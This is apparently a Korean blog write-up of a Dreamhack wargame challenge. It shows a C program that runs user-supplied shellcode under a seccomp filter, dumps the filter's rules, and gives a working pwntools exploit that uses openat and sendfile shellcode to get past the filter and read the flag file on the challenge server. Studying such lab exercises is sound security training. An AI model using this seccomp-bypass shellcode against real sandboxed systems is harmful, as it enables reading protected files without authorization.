728x90
반응형
코드부터 보자.
// Name: bypass_syscall.c
// Compile: gcc -o bypass_syscall bypass_syscall.c -lseccomp
#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void sandbox() {
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW);
if (ctx == NULL) {
exit(0);
}
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(write), 0);
seccomp_load(ctx);
}
int main(int argc, char *argv[]) {
void *shellcode = mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_SHARED | MAP_ANONYMOUS, -1, 0);
void (*sc)();
init();
memset(shellcode, 0, 0x1000);
printf("shellcode: ");
read(0, shellcode, 0x1000);
sandbox();
sc = (void *)shellcode;
sc();
}
main 함수 내에서 맨 처음으로 mmap 함수를 실행하고 return 값을 shellcode 변수에 넣는다.
(이후 sc 포인터 변수를 선언, init 함수 실행 후)
shellcode 변수를 초기화하고 여기 값을 0x1000 byte만큼 받아들인다.
다음 sandbox 함수를 통해 받아들인 값이 적절한지 seccomp 함수를 통해 체크하고, 문제없으면 shellcode의 값을 sc에 넣어 sc 함수를 실행시킨다.
즉, seccomp 함수를 우회해서 shellcode 변수에 셀을 실행시켜주는 코드를 삽입하고, 이를 실행하면 될 것 같다.
우선 seccomp에 대해 조금 이해해야하는데, 아래를 참조하자.
seccomp로 check하면 아래와 같다.
┌──(kali㉿kali)-[~/Downloads]
└─$ seccomp-tools dump ./bypass_syscall
shellcode: a
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x05 0xffffffff if (A != 0xffffffff) goto 0010
0005: 0x15 0x04 0x00 0x00000001 if (A == write) goto 0010
0006: 0x15 0x03 0x00 0x00000002 if (A == open) goto 0010
0007: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0010
0008: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x06 0x00 0x00 0x00000000 return KILL
코드에서 본 것과 같이 write, open, execve, execveat이 막혀있다.
우선 셀 실행을 위해 exec 계열 함수를 사용할 수 있을까 생각했지만, 결국은 execve 함수만 syscall 함수이고 나머지는 여기에 wrapping한 함수이기에 사용이 불가하다.
그러므로 파일을 읽어 화면에 출력할 수 있는 함수를 찾아야하는데, 대표적인 것이 openat, sendfile이다.
그리고 이 파일은 64 bit로 컴파일되었지만 32 bit도 실행 가능하다.
┌──(kali㉿kali)-[~/Downloads]
└─$ file bypass_syscall
bypass_syscall: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=8670dba125de44e44ff637371347ab17b6fcb8e1, not stripped
마지막으로 문제 서버에서 파일 경로는 파일 명으로된 계정에 있으므로 아래와 같이 정리할 수 있다.
from pwn import *
#p = process('./bypass_syscall')
p = remote('host3.dreamhack.games',17622)
context.arch = 'x86_64'
pay = shellcraft.openat(0,'/home/bypass_syscall/flag')
pay += shellcraft.sendfile(1,'rax',0,100)
p.sendlineafter(': ',asm(pay))
p.interactive()
┌──(kali㉿kali)-[~/Downloads]
└─$ python a.py
[+] Opening connection to host3.dreamhack.games on port 17622: Done
/usr/local/lib/python3.10/dist-packages/pwnlib/tubes/tube.py:822: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
res = self.recvuntil(delim, timeout=timeout)
[*] Switching to interactive mode
DH{----------#플래그는 삭제}
728x90
반응형
'Wargame > Dreamhack' 카테고리의 다른 글
Master Canary (0) | 2022.08.07 |
---|---|
seccomp (0) | 2022.08.07 |
validator (0) | 2022.08.04 |
cmd_center (0) | 2022.08.04 |
sint (0) | 2022.08.04 |